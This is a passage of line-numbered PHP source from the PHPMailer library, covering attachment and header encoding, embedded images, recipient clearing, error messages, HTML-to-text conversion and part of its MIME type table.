  2650.      * Encode a file attachment in requested format.
  2651.      * Returns an empty string on failure.
  2652.      * @param string $path The full path to the file
  2653.      * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2654.      * @throws phpmailerException
  2655.      * @access protected
  2656.      * @return string
  2657.      */
  2658.     protected function encodeFile($path, $encoding = 'base64')
  2659.     {
  2660.         try {
  2661.             if (!is_readable($path)) {
  2662.                 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  2663.             }
  2664.             $magic_quotes = get_magic_quotes_runtime();
  2665.             if ($magic_quotes) {
  2666.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2667.                     set_magic_quotes_runtime(false);
  2668.                 } else {
  2669.                     //Doesn't exist in PHP 5.4, but we don't need to check because
  2670.                     //get_magic_quotes_runtime always returns false in 5.4+
  2671.                     //so it will never get here
  2672.                     ini_set('magic_quotes_runtime', false);
  2673.                 }
  2674.             }
  2675.             $file_buffer = file_get_contents($path);
  2676.             $file_buffer = $this->encodeString($file_buffer, $encoding);
  2677.             if ($magic_quotes) {
  2678.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2679.                     set_magic_quotes_runtime($magic_quotes);
  2680.                 } else {
  2681.                     ini_set('magic_quotes_runtime', $magic_quotes);
  2682.                 }
  2683.             }
  2684.             return $file_buffer;
  2685.         } catch (Exception $exc) {
  2686.             $this->setError($exc->getMessage());
  2687.             return '';
  2688.         }
  2689.     }
  2690.  
  2691.     /**
  2692.      * Encode a string in requested format.
  2693.      * Returns an empty string on failure.
  2694.      * @param string $str The text to encode
  2695.      * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2696.      * @access public
  2697.      * @return string
  2698.      */
  2699.     public function encodeString($str, $encoding = 'base64')
  2700.     {
  2701.         $encoded = '';
  2702.         switch (strtolower($encoding)) {
  2703.             case 'base64':
  2704.                 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2705.                 break;
  2706.             case '7bit':
  2707.             case '8bit':
  2708.                 $encoded = $this->fixEOL($str);
  2709.                 // Make sure it ends with a line break
  2710.                 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  2711.                     $encoded .= $this->LE;
  2712.                 }
  2713.                 break;
  2714.             case 'binary':
  2715.                 $encoded = $str;
  2716.                 break;
  2717.             case 'quoted-printable':
  2718.                 $encoded = $this->encodeQP($str);
  2719.                 break;
  2720.             default:
  2721.                 $this->setError($this->lang('encoding') . $encoding);
  2722.                 break;
  2723.         }
  2724.         return $encoded;
  2725.     }
  2726.  
  2727.     /**
  2728.      * Encode a header string optimally.
  2729.      * Picks shortest of Q, B, quoted-printable or none.
  2730.      * @access public
  2731.      * @param string $str
  2732.      * @param string $position
  2733.      * @return string
  2734.      */
  2735.     public function encodeHeader($str, $position = 'text')
  2736.     {
  2737.         $matchcount = 0;
  2738.         switch (strtolower($position)) {
  2739.             case 'phrase':
  2740.                 if (!preg_match('/[\200-\377]/', $str)) {
  2741.                     // Can't use addslashes as we don't know the value of magic_quotes_sybase
  2742.                     $encoded = addcslashes($str, "\0..\37\177\\\"");
  2743.                     if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2744.                         return ($encoded);
  2745.                     } else {
  2746.                         return ("\"$encoded\"");
  2747.                     }
  2748.                 }
  2749.                 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2750.                 break;
  2751.             /** @noinspection PhpMissingBreakStatementInspection */
  2752.             case 'comment':
  2753.                 $matchcount = preg_match_all('/[()"]/', $str, $matches);
  2754.                 // Intentional fall-through
  2755.             case 'text':
  2756.             default:
  2757.                 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2758.                 break;
  2759.         }
  2760.  
  2761.         //There are no chars that need encoding
  2762.         if ($matchcount == 0) {
  2763.             return ($str);
  2764.         }
  2765.  
  2766.         $maxlen = 75 - 7 - strlen($this->CharSet);
  2767.         // Try to select the encoding which should produce the shortest output
  2768.         if ($matchcount > strlen($str) / 3) {
  2769.             // More than a third of the content will need encoding, so B encoding will be most efficient
  2770.             $encoding = 'B';
  2771.             if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  2772.                 // Use a custom function which correctly encodes and wraps long
  2773.                 // multibyte strings without breaking lines within a character
  2774.                 $encoded = $this->base64EncodeWrapMB($str, "\n");
  2775.             } else {
  2776.                 $encoded = base64_encode($str);
  2777.                 $maxlen -= $maxlen % 4;
  2778.                 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2779.             }
  2780.         } else {
  2781.             $encoding = 'Q';
  2782.             $encoded = $this->encodeQ($str, $position);
  2783.             $encoded = $this->wrapText($encoded, $maxlen, true);
  2784.             $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  2785.         }
  2786.  
  2787.         $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  2788.         $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2789.  
  2790.         return $encoded;
  2791.     }
  2792.  
  2793.     /**
  2794.      * Check if a string contains multi-byte characters.
  2795.      * @access public
  2796.      * @param string $str multi-byte text to wrap encode
  2797.      * @return boolean
  2798.      */
  2799.     public function hasMultiBytes($str)
  2800.     {
  2801.         if (function_exists('mb_strlen')) {
  2802.             return (strlen($str) > mb_strlen($str, $this->CharSet));
  2803.         } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2804.             return false;
  2805.         }
  2806.     }
  2807.  
  2808.     /**
  2809.      * Does a string contain any 8-bit chars (in any charset)?
  2810.      * @param string $text
  2811.      * @return boolean
  2812.      */
  2813.     public function has8bitChars($text)
  2814.     {
  2815.         return (boolean)preg_match('/[\x80-\xFF]/', $text);
  2816.     }
  2817.  
  2818.     /**
  2819.      * Encode and wrap long multibyte strings for mail headers
  2820.      * without breaking lines within a character.
  2821.      * Adapted from a function by paravoid
  2822.      * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
  2823.      * @access public
  2824.      * @param string $str multi-byte text to wrap encode
  2825.      * @param string $linebreak string to use as linefeed/end-of-line
  2826.      * @return string
  2827.      */
  2828.     public function base64EncodeWrapMB($str, $linebreak = null)
  2829.     {
  2830.         $start = '=?' . $this->CharSet . '?B?';
  2831.         $end = '?=';
  2832.         $encoded = '';
  2833.         if ($linebreak === null) {
  2834.             $linebreak = $this->LE;
  2835.         }
  2836.  
  2837.         $mb_length = mb_strlen($str, $this->CharSet);
  2838.         // Each line must have length <= 75, including $start and $end
  2839.         $length = 75 - strlen($start) - strlen($end);
  2840.         // Average multi-byte ratio
  2841.         $ratio = $mb_length / strlen($str);
  2842.         // Base64 has a 4:3 ratio
  2843.         $avgLength = floor($length * $ratio * .75);
  2844.  
  2845.         for ($i = 0; $i < $mb_length; $i += $offset) {
  2846.             $lookBack = 0;
  2847.             do {
  2848.                 $offset = $avgLength - $lookBack;
  2849.                 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2850.                 $chunk = base64_encode($chunk);
  2851.                 $lookBack++;
  2852.             } while (strlen($chunk) > $length);
  2853.             $encoded .= $chunk . $linebreak;
  2854.         }
  2855.  
  2856.         // Chomp the last linefeed
  2857.         $encoded = substr($encoded, 0, -strlen($linebreak));
  2858.         return $encoded;
  2859.     }
  2860.  
  2861.     /**
  2862.      * Encode a string in quoted-printable format.
  2863.      * According to RFC2045 section 6.7.
  2864.      * @access public
  2865.      * @param string $string The text to encode
  2866.      * @param integer $line_max Number of chars allowed on a line before wrapping
  2867.      * @return string
  2868.      * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
  2869.      */
  2870.     public function encodeQP($string, $line_max = 76)
  2871.     {
  2872.         // Use native function if it's available (>= PHP5.3)
  2873.         if (function_exists('quoted_printable_encode')) {
  2874.             return quoted_printable_encode($string);
  2875.         }
  2876.         // Fall back to a pure PHP implementation
  2877.         $string = str_replace(
  2878.             array('%20', '%0D%0A.', '%0D%0A', '%'),
  2879.             array(' ', "\r\n=2E", "\r\n", '='),
  2880.             rawurlencode($string)
  2881.         );
  2882.         return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  2883.     }
  2884.  
  2885.     /**
  2886.      * Backward compatibility wrapper for an old QP encoding function that was removed.
  2887.      * @see PHPMailer::encodeQP()
  2888.      * @access public
  2889.      * @param string $string
  2890.      * @param integer $line_max
  2891.      * @param boolean $space_conv
  2892.      * @return string
  2893.      * @deprecated Use encodeQP instead.
  2894.      */
  2895.     public function encodeQPphp(
  2896.         $string,
  2897.         $line_max = 76,
  2898.         /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
  2899.     ) {
  2900.         return $this->encodeQP($string, $line_max);
  2901.     }
  2902.  
  2903.     /**
  2904.      * Encode a string using Q encoding.
  2905.      * @link http://tools.ietf.org/html/rfc2047
  2906.      * @param string $str the text to encode
  2907.      * @param string $position Where the text is going to be used, see the RFC for what that means
  2908.      * @access public
  2909.      * @return string
  2910.      */
  2911.     public function encodeQ($str, $position = 'text')
  2912.     {
  2913.         // There should not be any EOL in the string
  2914.         $pattern = '';
  2915.         $encoded = str_replace(array("\r", "\n"), '', $str);
  2916.         switch (strtolower($position)) {
  2917.             case 'phrase':
  2918.                 // RFC 2047 section 5.3
  2919.                 $pattern = '^A-Za-z0-9!*+\/ -';
  2920.                 break;
  2921.             /** @noinspection PhpMissingBreakStatementInspection */
  2922.             case 'comment':
  2923.                 // RFC 2047 section 5.2
  2924.                 $pattern = '\(\)"';
  2925.                 // intentional fall-through
  2926.                 // for this reason we build the $pattern without including delimiters and []
  2927.             case 'text':
  2928.             default:
  2929.                 // RFC 2047 section 5.1
  2930.                 // Replace every high ascii, control, =, ? and _ characters
  2931.                 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  2932.                 break;
  2933.         }
  2934.         $matches = array();
  2935.         if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  2936.             // If the string contains an '=', make sure it's the first thing we replace
  2937.             // so as to avoid double-encoding
  2938.             $eqkey = array_search('=', $matches[0]);
  2939.             if (false !== $eqkey) {
  2940.                 unset($matches[0][$eqkey]);
  2941.                 array_unshift($matches[0], '=');
  2942.             }
  2943.             foreach (array_unique($matches[0]) as $char) {
  2944.                 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  2945.             }
  2946.         }
  2947.         // Replace every spaces to _ (more readable than =20)
  2948.         return str_replace(' ', '_', $encoded);
  2949.     }
  2950.  
  2951.     /**
  2952.      * Add a string or binary attachment (non-filesystem).
  2953.      * This method can be used to attach ascii or binary data,
  2954.      * such as a BLOB record from a database.
  2955.      * @param string $string String attachment data.
  2956.      * @param string $filename Name of the attachment.
  2957.      * @param string $encoding File encoding (see $Encoding).
  2958.      * @param string $type File extension (MIME) type.
  2959.      * @param string $disposition Disposition to use
  2960.      * @return void
  2961.      */
  2962.     public function addStringAttachment(
  2963.         $string,
  2964.         $filename,
  2965.         $encoding = 'base64',
  2966.         $type = '',
  2967.         $disposition = 'attachment'
  2968.     ) {
  2969.         // If a MIME type is not specified, try to work it out from the file name
  2970.         if ($type == '') {
  2971.             $type = self::filenameToType($filename);
  2972.         }
  2973.         // Append to $attachment array
  2974.         $this->attachment[] = array(
  2975.             0 => $string,
  2976.             1 => $filename,
  2977.             2 => basename($filename),
  2978.             3 => $encoding,
  2979.             4 => $type,
  2980.             5 => true, // isStringAttachment
  2981.             6 => $disposition,
  2982.             7 => 0
  2983.         );
  2984.     }
  2985.  
  2986.     /**
  2987.      * Add an embedded (inline) attachment from a file.
  2988.      * This can include images, sounds, and just about any other document type.
  2989.      * These differ from 'regular' attachments in that they are intended to be
  2990.      * displayed inline with the message, not just attached for download.
  2991.      * This is used in HTML messages that embed the images
  2992.      * the HTML refers to using the $cid value.
  2993.      * @param string $path Path to the attachment.
  2994.      * @param string $cid Content ID of the attachment; Use this to reference
  2995.      *        the content when using an embedded image in HTML.
  2996.      * @param string $name Overrides the attachment name.
  2997.      * @param string $encoding File encoding (see $Encoding).
  2998.      * @param string $type File MIME type.
  2999.      * @param string $disposition Disposition to use
  3000.      * @return boolean True on successfully adding an attachment
  3001.      */
  3002.     public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  3003.     {
  3004.         if (!@is_file($path)) {
  3005.             $this->setError($this->lang('file_access') . $path);
  3006.             return false;
  3007.         }
  3008.  
  3009.         // If a MIME type is not specified, try to work it out from the file name
  3010.         if ($type == '') {
  3011.             $type = self::filenameToType($path);
  3012.         }
  3013.  
  3014.         $filename = basename($path);
  3015.         if ($name == '') {
  3016.             $name = $filename;
  3017.         }
  3018.  
  3019.         // Append to $attachment array
  3020.         $this->attachment[] = array(
  3021.             0 => $path,
  3022.             1 => $filename,
  3023.             2 => $name,
  3024.             3 => $encoding,
  3025.             4 => $type,
  3026.             5 => false, // isStringAttachment
  3027.             6 => $disposition,
  3028.             7 => $cid
  3029.         );
  3030.         return true;
  3031.     }
  3032.  
  3033.     /**
  3034.      * Add an embedded stringified attachment.
  3035.      * This can include images, sounds, and just about any other document type.
  3036.      * Be sure to set the $type to an image type for images:
  3037.      * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
  3038.      * @param string $string The attachment binary data.
  3039.      * @param string $cid Content ID of the attachment; Use this to reference
  3040.      *        the content when using an embedded image in HTML.
  3041.      * @param string $name
  3042.      * @param string $encoding File encoding (see $Encoding).
  3043.      * @param string $type MIME type.
  3044.      * @param string $disposition Disposition to use
  3045.      * @return boolean True on successfully adding an attachment
  3046.      */
  3047.     public function addStringEmbeddedImage(
  3048.         $string,
  3049.         $cid,
  3050.         $name = '',
  3051.         $encoding = 'base64',
  3052.         $type = '',
  3053.         $disposition = 'inline'
  3054.     ) {
  3055.         // If a MIME type is not specified, try to work it out from the name
  3056.         if ($type == '' and !empty($name)) {
  3057.             $type = self::filenameToType($name);
  3058.         }
  3059.  
  3060.         // Append to $attachment array
  3061.         $this->attachment[] = array(
  3062.             0 => $string,
  3063.             1 => $name,
  3064.             2 => $name,
  3065.             3 => $encoding,
  3066.             4 => $type,
  3067.             5 => true, // isStringAttachment
  3068.             6 => $disposition,
  3069.             7 => $cid
  3070.         );
  3071.         return true;
  3072.     }
  3073.  
  3074.     /**
  3075.      * Check if an inline attachment is present.
  3076.      * @access public
  3077.      * @return boolean
  3078.      */
  3079.     public function inlineImageExists()
  3080.     {
  3081.         foreach ($this->attachment as $attachment) {
  3082.             if ($attachment[6] == 'inline') {
  3083.                 return true;
  3084.             }
  3085.         }
  3086.         return false;
  3087.     }
  3088.  
  3089.     /**
  3090.      * Check if an attachment (non-inline) is present.
  3091.      * @return boolean
  3092.      */
  3093.     public function attachmentExists()
  3094.     {
  3095.         foreach ($this->attachment as $attachment) {
  3096.             if ($attachment[6] == 'attachment') {
  3097.                 return true;
  3098.             }
  3099.         }
  3100.         return false;
  3101.     }
  3102.  
  3103.     /**
  3104.      * Check if this message has an alternative body set.
  3105.      * @return boolean
  3106.      */
  3107.     public function alternativeExists()
  3108.     {
  3109.         return !empty($this->AltBody);
  3110.     }
  3111.  
  3112.     /**
  3113.      * Clear queued addresses of given kind.
  3114.      * @access protected
  3115.      * @param string $kind 'to', 'cc', or 'bcc'
  3116.      * @return void
  3117.      */
  3118.     public function clearQueuedAddresses($kind)
  3119.     {
  3120.         $RecipientsQueue = $this->RecipientsQueue;
  3121.         foreach ($RecipientsQueue as $address => $params) {
  3122.             if ($params[0] == $kind) {
  3123.                 unset($this->RecipientsQueue[$address]);
  3124.             }
  3125.         }
  3126.     }
  3127.  
  3128.     /**
  3129.      * Clear all To recipients.
  3130.      * @return void
  3131.      */
  3132.     public function clearAddresses()
  3133.     {
  3134.         foreach ($this->to as $to) {
  3135.             unset($this->all_recipients[strtolower($to[0])]);
  3136.         }
  3137.         $this->to = array();
  3138.         $this->clearQueuedAddresses('to');
  3139.     }
  3140.  
  3141.     /**
  3142.      * Clear all CC recipients.
  3143.      * @return void
  3144.      */
  3145.     public function clearCCs()
  3146.     {
  3147.         foreach ($this->cc as $cc) {
  3148.             unset($this->all_recipients[strtolower($cc[0])]);
  3149.         }
  3150.         $this->cc = array();
  3151.         $this->clearQueuedAddresses('cc');
  3152.     }
  3153.  
  3154.     /**
  3155.      * Clear all BCC recipients.
  3156.      * @return void
  3157.      */
  3158.     public function clearBCCs()
  3159.     {
  3160.         foreach ($this->bcc as $bcc) {
  3161.             unset($this->all_recipients[strtolower($bcc[0])]);
  3162.         }
  3163.         $this->bcc = array();
  3164.         $this->clearQueuedAddresses('bcc');
  3165.     }
  3166.  
  3167.     /**
  3168.      * Clear all ReplyTo recipients.
  3169.      * @return void
  3170.      */
  3171.     public function clearReplyTos()
  3172.     {
  3173.         $this->ReplyTo = array();
  3174.         $this->ReplyToQueue = array();
  3175.     }
  3176.  
  3177.     /**
  3178.      * Clear all recipient types.
  3179.      * @return void
  3180.      */
  3181.     public function clearAllRecipients()
  3182.     {
  3183.         $this->to = array();
  3184.         $this->cc = array();
  3185.         $this->bcc = array();
  3186.         $this->all_recipients = array();
  3187.         $this->RecipientsQueue = array();
  3188.     }
  3189.  
  3190.     /**
  3191.      * Clear all filesystem, string, and binary attachments.
  3192.      * @return void
  3193.      */
  3194.     public function clearAttachments()
  3195.     {
  3196.         $this->attachment = array();
  3197.     }
  3198.  
  3199.     /**
  3200.      * Clear all custom headers.
  3201.      * @return void
  3202.      */
  3203.     public function clearCustomHeaders()
  3204.     {
  3205.         $this->CustomHeader = array();
  3206.     }
  3207.  
  3208.     /**
  3209.      * Add an error message to the error container.
  3210.      * @access protected
  3211.      * @param string $msg
  3212.      * @return void
  3213.      */
  3214.     protected function setError($msg)
  3215.     {
  3216.         $this->error_count++;
  3217.         if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  3218.             $lasterror = $this->smtp->getError();
  3219.             if (!empty($lasterror['error'])) {
  3220.                 $msg .= $this->lang('smtp_error') . $lasterror['error'];
  3221.                 if (!empty($lasterror['detail'])) {
  3222.                     $msg .= ' Detail: '. $lasterror['detail'];
  3223.                 }
  3224.                 if (!empty($lasterror['smtp_code'])) {
  3225.                     $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
  3226.                 }
  3227.                 if (!empty($lasterror['smtp_code_ex'])) {
  3228.                     $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
  3229.                 }
  3230.             }
  3231.         }
  3232.         $this->ErrorInfo = $msg;
  3233.     }
  3234.  
  3235.     /**
  3236.      * Return an RFC 822 formatted date.
  3237.      * @access public
  3238.      * @return string
  3239.      * @static
  3240.      */
  3241.     public static function rfcDate()
  3242.     {
  3243.         // Set the time zone to whatever the default is to avoid 500 errors
  3244.         // Will default to UTC if it's not set properly in php.ini
  3245.         date_default_timezone_set(@date_default_timezone_get());
  3246.         return date('D, j M Y H:i:s O');
  3247.     }
  3248.  
  3249.     /**
  3250.      * Get the server hostname.
  3251.      * Returns 'localhost.localdomain' if unknown.
  3252.      * @access protected
  3253.      * @return string
  3254.      */
  3255.     protected function serverHostname()
  3256.     {
  3257.         $result = 'localhost.localdomain';
  3258.         if (!empty($this->Hostname)) {
  3259.             $result = $this->Hostname;
  3260.         } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  3261.             $result = $_SERVER['SERVER_NAME'];
  3262.         } elseif (function_exists('gethostname') && gethostname() !== false) {
  3263.             $result = gethostname();
  3264.         } elseif (php_uname('n') !== false) {
  3265.             $result = php_uname('n');
  3266.         }
  3267.         return $result;
  3268.     }
  3269.  
  3270.     /**
  3271.      * Get an error message in the current language.
  3272.      * @access protected
  3273.      * @param string $key
  3274.      * @return string
  3275.      */
  3276.     protected function lang($key)
  3277.     {
  3278.         if (count($this->language) < 1) {
  3279.             $this->setLanguage('en'); // set the default language
  3280.         }
  3281.  
  3282.         if (array_key_exists($key, $this->language)) {
  3283.             if ($key == 'smtp_connect_failed') {
  3284.                 //Include a link to troubleshooting docs on SMTP connection failure
  3285.                 //this is by far the biggest cause of support questions
  3286.                 //but it's usually not PHPMailer's fault.
  3287.                 return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
  3288.             }
  3289.             return $this->language[$key];
  3290.         } else {
  3291.             //Return the key as a fallback
  3292.             return $key;
  3293.         }
  3294.     }
  3295.  
  3296.     /**
  3297.      * Check if an error occurred.
  3298.      * @access public
  3299.      * @return boolean True if an error did occur.
  3300.      */
  3301.     public function isError()
  3302.     {
  3303.         return ($this->error_count > 0);
  3304.     }
  3305.  
  3306.     /**
  3307.      * Ensure consistent line endings in a string.
  3308.      * Changes every end of line from CRLF, CR or LF to $this->LE.
  3309.      * @access public
  3310.      * @param string $str String to fixEOL
  3311.      * @return string
  3312.      */
  3313.     public function fixEOL($str)
  3314.     {
  3315.         // Normalise to \n
  3316.         $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  3317.         // Now convert LE as needed
  3318.         if ($this->LE !== "\n") {
  3319.             $nstr = str_replace("\n", $this->LE, $nstr);
  3320.         }
  3321.         return $nstr;
  3322.     }
  3323.  
  3324.     /**
  3325.      * Add a custom header.
  3326.      * $name value can be overloaded to contain
  3327.      * both header name and value (name:value)
  3328.      * @access public
  3329.      * @param string $name Custom header name
  3330.      * @param string $value Header value
  3331.      * @return void
  3332.      */
  3333.     public function addCustomHeader($name, $value = null)
  3334.     {
  3335.         if ($value === null) {
  3336.             // Value passed in as name:value
  3337.             $this->CustomHeader[] = explode(':', $name, 2);
  3338.         } else {
  3339.             $this->CustomHeader[] = array($name, $value);
  3340.         }
  3341.     }
  3342.  
  3343.     /**
  3344.      * Returns all custom headers.
  3345.      * @return array
  3346.      */
  3347.     public function getCustomHeaders()
  3348.     {
  3349.         return $this->CustomHeader;
  3350.     }
  3351.  
  3352.     /**
  3353.      * Create a message from an HTML string.
  3354.      * Automatically makes modifications for inline images and backgrounds
  3355.      * and creates a plain-text version by converting the HTML.
  3356.      * Overwrites any existing values in $this->Body and $this->AltBody
  3357.      * @access public
  3358.      * @param string $message HTML message string
  3359.      * @param string $basedir baseline directory for path
  3360.      * @param boolean|callable $advanced Whether to use the internal HTML to text converter
  3361.      *    or your own custom converter @see PHPMailer::html2text()
  3362.      * @return string $message
  3363.      */
  3364.     public function msgHTML($message, $basedir = '', $advanced = false)
  3365.     {
  3366.         preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  3367.         if (array_key_exists(2, $images)) {
  3368.             foreach ($images[2] as $imgindex => $url) {
  3369.                 // Convert data URIs into embedded images
  3370.                 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  3371.                     $data = substr($url, strpos($url, ','));
  3372.                     if ($match[2]) {
  3373.                         $data = base64_decode($data);
  3374.                     } else {
  3375.                         $data = rawurldecode($data);
  3376.                     }
  3377.                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  3378.                     if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
  3379.                         $message = str_replace(
  3380.                             $images[0][$imgindex],
  3381.                             $images[1][$imgindex] . '="cid:' . $cid . '"',
  3382.                             $message
  3383.                         );
  3384.                     }
  3385.                 } elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[A-z]+://#', $url)) {
  3386.                     // Do not change urls for absolute images (thanks to corvuscorax)
  3387.                     // Do not change urls that are already inline images
  3388.                     $filename = basename($url);
  3389.                     $directory = dirname($url);
  3390.                     if ($directory == '.') {
  3391.                         $directory = '';
  3392.                     }
  3393.                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  3394.                     if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  3395.                         $basedir .= '/';
  3396.                     }
  3397.                     if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  3398.                         $directory .= '/';
  3399.                     }
  3400.                     if ($this->addEmbeddedImage(
  3401.                         $basedir . $directory . $filename,
  3402.                         $cid,
  3403.                         $filename,
  3404.                         'base64',
  3405.                         self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  3406.                     )
  3407.                     ) {
  3408.                         $message = preg_replace(
  3409.                             '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  3410.                             $images[1][$imgindex] . '="cid:' . $cid . '"',
  3411.                             $message
  3412.                         );
  3413.                     }
  3414.                 }
  3415.             }
  3416.         }
  3417.         $this->isHTML(true);
  3418.         // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  3419.         $this->Body = $this->normalizeBreaks($message);
  3420.         $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  3421.         if (empty($this->AltBody)) {
  3422.             $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  3423.                 self::CRLF . self::CRLF;
  3424.         }
  3425.         return $this->Body;
  3426.     }
  3427.  
  3428.     /**
  3429.      * Convert an HTML string into plain text.
  3430.      * This is used by msgHTML().
  3431.      * Note - older versions of this function used a bundled advanced converter
  3432.      * which was been removed for license reasons in #232
  3433.      * Example usage:
  3434.      * <code>
  3435.      * // Use default conversion
  3436.      * $plain = $mail->html2text($html);
  3437.      * // Use your own custom converter
  3438.      * $plain = $mail->html2text($html, function($html) {
  3439.      *     $converter = new MyHtml2text($html);
  3440.      *     return $converter->get_text();
  3441.      * });
  3442.      * </code>
  3443.      * @param string $html The HTML text to convert
  3444.      * @param boolean|callable $advanced Any boolean value to use the internal converter,
  3445.      *   or provide your own callable for custom conversion.
  3446.      * @return string
  3447.      */
  3448.     public function html2text($html, $advanced = false)
  3449.     {
  3450.         if (is_callable($advanced)) {
  3451.             return call_user_func($advanced, $html);
  3452.         }
  3453.         return html_entity_decode(
  3454.             trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  3455.             ENT_QUOTES,
  3456.             $this->CharSet
  3457.         );
  3458.     }
  3459.  
  3460.     /**
  3461.      * Get the MIME type for a file extension.
  3462.      * @param string $ext File extension
  3463.      * @access public
  3464.      * @return string MIME type of file.
  3465.      * @static
  3466.      */
  3467.     public static function _mime_types($ext = '')
  3468.     {
  3469.         $mimes = array(
  3470.             'xl'    => 'application/excel',
  3471.             'js'    => 'application/javascript',
  3472.             'hqx'   => 'application/mac-binhex40',
  3473.             'cpt'   => 'application/mac-compactpro',
  3474.             'bin'   => 'application/macbinary',
  3475.             'doc'   => 'application/msword',
  3476.             'word'  => 'application/msword',
  3477.             'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
  3478.             'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
  3479.             'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
  3480.             'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
  3481.             'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
  3482.             'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
  3483.             'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
  3484.             'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
  3485.             'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
  3486.             'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
  3487.             'class' => 'application/octet-stream',
  3488.             'dll'   => 'application/octet-stream',
  3489.             'dms'   => 'application/octet-stream',
  3490.             'exe'   => 'application/octet-stream',
  3491.             'lha'   => 'application/octet-stream',
  3492.             'lzh'   => 'application/octet-stream',
  3493.             'psd'   => 'application/octet-stream',
  3494.             'sea'   => 'application/octet-stream',
  3495.             'so'    => 'application/octet-stream',
  3496.             'oda'   => 'application/oda',
  3497.             'pdf'   => 'application/pdf',
  3498.             'ai'    => 'application/postscript',
  3499.             'eps'   => 'application/postscript',
  3500.             'ps'    => 'application/postscript',
  3501.             'smi'   => 'application/smil',
  3502.             'smil'  => 'application/smil',
  3503.             'mif'   => 'application/vnd.mif',
  3504.             'xls'   => 'application/vnd.ms-excel',
  3505.             'ppt'   => 'application/vnd.ms-powerpoint',
  3506.             'wbxml' => 'application/vnd.wap.wbxml',
  3507.             'wmlc'  => 'application/vnd.wap.wmlc',
  3508.             'dcr'   => 'application/x-director',
  3509.             'dir'   => 'application/x-director',
  3510.             'dxr'   => 'application/x-director',
  3511.             'dvi'   => 'application/x-dvi',
  3512.             'gtar'  => 'application/x-gtar',
  3513.             'php3'  => 'application/x-httpd-php',
  3514.             'php4'  => 'application/x-httpd-php',
  3515.             'php'   => 'application/x-httpd-php',
  3516.             'phtml' => 'application/x-httpd-php',
  3517.             'phps'  => 'application/x-httpd-php-source',
  3518.             'swf'   => 'application/x-shockwave-flash',
  3519.             'sit'   => 'application/x-stuffit',
  3520.             'tar'   => 'application/x-tar',
  3521.             'tgz'   => 'application/x-tar',
  3522.             'xht'   => 'application/xhtml+xml',
  3523.             'xhtml' => 'application/xhtml+xml',
  3524.             'zip'   => 'application/zip',
  3525.             'mid'   => 'audio/midi',
  3526.             'midi'  => 'audio/midi',
  3527.             'mp2'   => 'audio/mpeg',
  3528.             'mp3'   => 'audio/mpeg',
  3529.             'mpga'  => 'audio/mpeg',
  3530.             'aif'   => 'audio/x-aiff',
  3531.             'aifc'  => 'audio/x-aiff',
  3532.             'aiff'  => 'audio/x-aiff',
